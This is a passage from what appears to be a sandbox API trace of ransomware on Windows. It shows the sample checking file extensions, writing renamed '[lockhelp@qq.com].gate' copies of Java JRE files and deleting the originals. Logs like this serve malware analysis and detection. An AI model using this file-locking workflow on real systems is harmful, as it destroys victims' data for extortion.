Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.365] lstrlenW (lpString=".doc") returned 4 [0293.365] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString=".docx") returned 5 [0293.365] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.365] lstrlenW (lpString=".pdf") returned 4 [0293.365] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString=".xls") returned 4 [0293.365] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString=".xlsx") returned 5 [0293.365] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.365] lstrlenW (lpString=".ppt") returned 4 [0293.365] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.365] lstrlenW (lpString=".zip") returned 4 [0293.365] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString=".rar") returned 4 [0293.365] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString=".bz2") returned 4 [0293.365] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString=".7z") returned 3 [0293.365] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.365] lstrlenW (lpString=".dbf") returned 4 [0293.365] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.365] lstrlenW (lpString=".1cd") returned 4 [0293.366] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties") returned 68 [0293.366] lstrlenW (lpString=".jpg") returned 4 [0293.366] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.366] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.366] lstrlenW (lpString="deploy.jar") returned 10 [0293.366] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.367] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=5040094) returned 1 [0293.367] CloseHandle (hObject=0x518) returned 1 [0293.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0293.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0293.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.367] lstrlenW (lpString=".doc") returned 4 [0293.367] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.367] lstrlenW (lpString=".docx") returned 5 [0293.367] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0293.367] lstrlenW (lpString=".pdf") returned 4 [0293.367] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.367] lstrlenW (lpString=".xls") returned 4 [0293.367] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.367] lstrlenW (lpString=".xlsx") returned 5 [0293.367] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0293.367] lstrlenW (lpString=".ppt") returned 4 [0293.368] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.368] lstrlenW (lpString=".zip") returned 4 [0293.368] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.368] lstrlenW (lpString=".rar") returned 4 [0293.368] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.368] lstrlenW (lpString=".bz2") returned 4 [0293.368] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.368] lstrlenW (lpString=".7z") returned 3 [0293.368] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.368] lstrlenW (lpString=".dbf") returned 4 [0293.368] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.368] lstrlenW (lpString=".1cd") returned 4 [0293.368] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.368] lstrlenW (lpString=".jpg") returned 4 [0293.368] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.368] lstrlenW (lpString=".doc") returned 4 [0293.368] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.368] lstrlenW (lpString=".docx") returned 5 [0293.368] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0293.368] lstrlenW (lpString=".pdf") returned 4 [0293.368] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.369] lstrlenW (lpString=".xls") returned 4 [0293.369] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.369] lstrlenW (lpString=".xlsx") returned 5 [0293.369] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0293.369] lstrlenW (lpString=".ppt") returned 4 [0293.369] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.369] lstrlenW (lpString=".zip") returned 4 [0293.369] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.369] lstrlenW (lpString=".rar") returned 4 [0293.369] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.369] lstrlenW (lpString=".bz2") returned 4 [0293.369] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.369] lstrlenW (lpString=".7z") returned 3 [0293.369] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.369] lstrlenW (lpString=".dbf") returned 4 [0293.369] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.369] lstrlenW (lpString=".1cd") returned 4 [0293.369] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0293.369] lstrlenW (lpString=".jpg") returned 4 [0293.369] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.369] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.369] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0293.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.372] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=188024) returned 1 [0293.372] CloseHandle (hObject=0x518) returned 1 [0293.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0293.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.373] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.373] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.373] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0293.393] GetLastError () returned 0x0 [0293.393] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2de78, lpOverlapped=0x0) returned 1 [0293.490] WriteFile (in: hFile=0x53c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2de80, lpOverlapped=0x0) returned 1 [0293.493] ReadFile (in: hFile=0x518, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.493] WriteFile (in: hFile=0x53c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xfc, lpOverlapped=0x0) returned 1 [0293.493] SetEndOfFile (hFile=0x53c) returned 1 [0293.493] CloseHandle (hObject=0x53c) returned 1 [0293.493] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.493] SetEndOfFile (hFile=0x518) returned 1 [0293.582] CloseHandle (hObject=0x518) returned 1 [0293.583] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.583] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0293.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.584] lstrlenW (lpString=".doc") returned 4 [0293.584] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.584] lstrlenW (lpString=".docx") returned 5 [0293.584] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0293.584] lstrlenW (lpString=".pdf") returned 4 [0293.584] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.584] lstrlenW (lpString=".xls") returned 4 [0293.584] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.584] lstrlenW (lpString=".xlsx") returned 5 [0293.584] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0293.584] lstrlenW (lpString=".ppt") returned 4 [0293.584] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.584] lstrlenW (lpString=".zip") returned 4 [0293.584] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.584] lstrlenW (lpString=".rar") returned 4 [0293.584] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.584] lstrlenW (lpString=".bz2") returned 4 [0293.584] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.584] lstrlenW (lpString=".7z") returned 3 [0293.584] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.584] lstrlenW (lpString=".dbf") returned 4 [0293.584] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.584] lstrlenW (lpString=".1cd") returned 4 [0293.584] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.584] lstrlenW (lpString=".jpg") returned 4 [0293.584] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.585] lstrlenW (lpString=".doc") returned 4 [0293.585] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.585] lstrlenW (lpString=".docx") returned 5 [0293.585] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0293.585] lstrlenW (lpString=".pdf") returned 4 [0293.585] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.585] lstrlenW (lpString=".xls") returned 4 [0293.585] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.585] lstrlenW (lpString=".xlsx") returned 5 [0293.585] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0293.585] lstrlenW (lpString=".ppt") returned 4 [0293.585] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.585] lstrlenW (lpString=".zip") returned 4 [0293.585] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.585] lstrlenW (lpString=".rar") returned 4 [0293.585] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.585] lstrlenW (lpString=".bz2") returned 4 [0293.585] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.585] lstrlenW (lpString=".7z") returned 3 [0293.585] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.585] lstrlenW (lpString=".dbf") returned 4 [0293.585] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.585] lstrlenW (lpString=".1cd") returned 4 [0293.585] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0293.585] lstrlenW (lpString=".jpg") returned 4 [0293.585] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.586] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.586] lstrlenW (lpString="jfxrt.jar") returned 9 [0293.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.586] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=18246297) returned 1 [0293.586] CloseHandle (hObject=0x518) returned 1 [0293.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0293.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.586] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0293.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.587] lstrlenW (lpString=".doc") returned 4 [0293.587] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.587] lstrlenW (lpString=".docx") returned 5 [0293.587] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0293.587] lstrlenW (lpString=".pdf") returned 4 [0293.587] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.587] lstrlenW (lpString=".xls") returned 4 [0293.587] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.587] lstrlenW (lpString=".xlsx") returned 5 [0293.587] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0293.587] lstrlenW (lpString=".ppt") returned 4 [0293.587] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.587] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.587] lstrlenW (lpString=".zip") returned 4 [0293.587] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.587] lstrlenW (lpString=".rar") returned 4 [0293.587] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.587] lstrlenW (lpString=".bz2") returned 4 [0293.588] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.588] lstrlenW (lpString=".7z") returned 3 [0293.588] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.588] lstrlenW (lpString=".dbf") returned 4 [0293.588] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.588] lstrlenW (lpString=".1cd") returned 4 [0293.588] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.588] lstrlenW (lpString=".jpg") returned 4 [0293.588] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.588] lstrlenW (lpString=".doc") returned 4 [0293.588] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.588] lstrlenW (lpString=".docx") returned 5 [0293.588] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0293.588] lstrlenW (lpString=".pdf") returned 4 [0293.588] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.588] lstrlenW (lpString=".xls") returned 4 [0293.588] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.588] lstrlenW (lpString=".xlsx") returned 5 [0293.588] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0293.588] lstrlenW (lpString=".ppt") returned 4 [0293.588] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.588] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.588] lstrlenW (lpString=".zip") returned 4 [0293.588] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.588] lstrlenW (lpString=".rar") returned 4 [0293.588] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.588] lstrlenW (lpString=".bz2") returned 4 [0293.588] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.588] lstrlenW (lpString=".7z") returned 3 [0293.589] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.589] lstrlenW (lpString=".dbf") returned 4 [0293.589] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.589] lstrlenW (lpString=".1cd") returned 4 [0293.589] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.589] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0293.589] lstrlenW (lpString=".jpg") returned 4 [0293.589] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.589] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.589] lstrlenW (lpString="localedata.jar") returned 14 [0293.589] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0293.590] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2204781) returned 1 [0293.590] CloseHandle (hObject=0x518) returned 1 [0293.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0293.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.590] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0293.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.590] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.590] lstrlenW (lpString=".doc") returned 4 [0293.590] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.590] lstrlenW (lpString=".docx") returned 5 [0293.590] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0293.590] lstrlenW (lpString=".pdf") returned 4 [0293.590] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.590] lstrlenW (lpString=".xls") returned 4 [0293.590] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.591] lstrlenW (lpString=".xlsx") returned 5 [0293.591] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0293.591] lstrlenW (lpString=".ppt") returned 4 [0293.591] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.591] lstrlenW (lpString=".zip") returned 4 [0293.591] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.591] lstrlenW (lpString=".rar") returned 4 [0293.591] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.591] lstrlenW (lpString=".bz2") returned 4 [0293.591] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.591] lstrlenW (lpString=".7z") returned 3 [0293.591] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.591] lstrlenW (lpString=".dbf") returned 4 [0293.591] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.591] lstrlenW (lpString=".1cd") returned 4 [0293.591] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.591] lstrlenW (lpString=".jpg") returned 4 [0293.591] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.591] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0293.591] lstrlenW (lpString=".doc") returned 4 [0293.591] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.591] lstrlenW (lpString=".docx") returned 5 [0293.591] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0293.591] lstrlenW (lpString=".pdf") returned 4 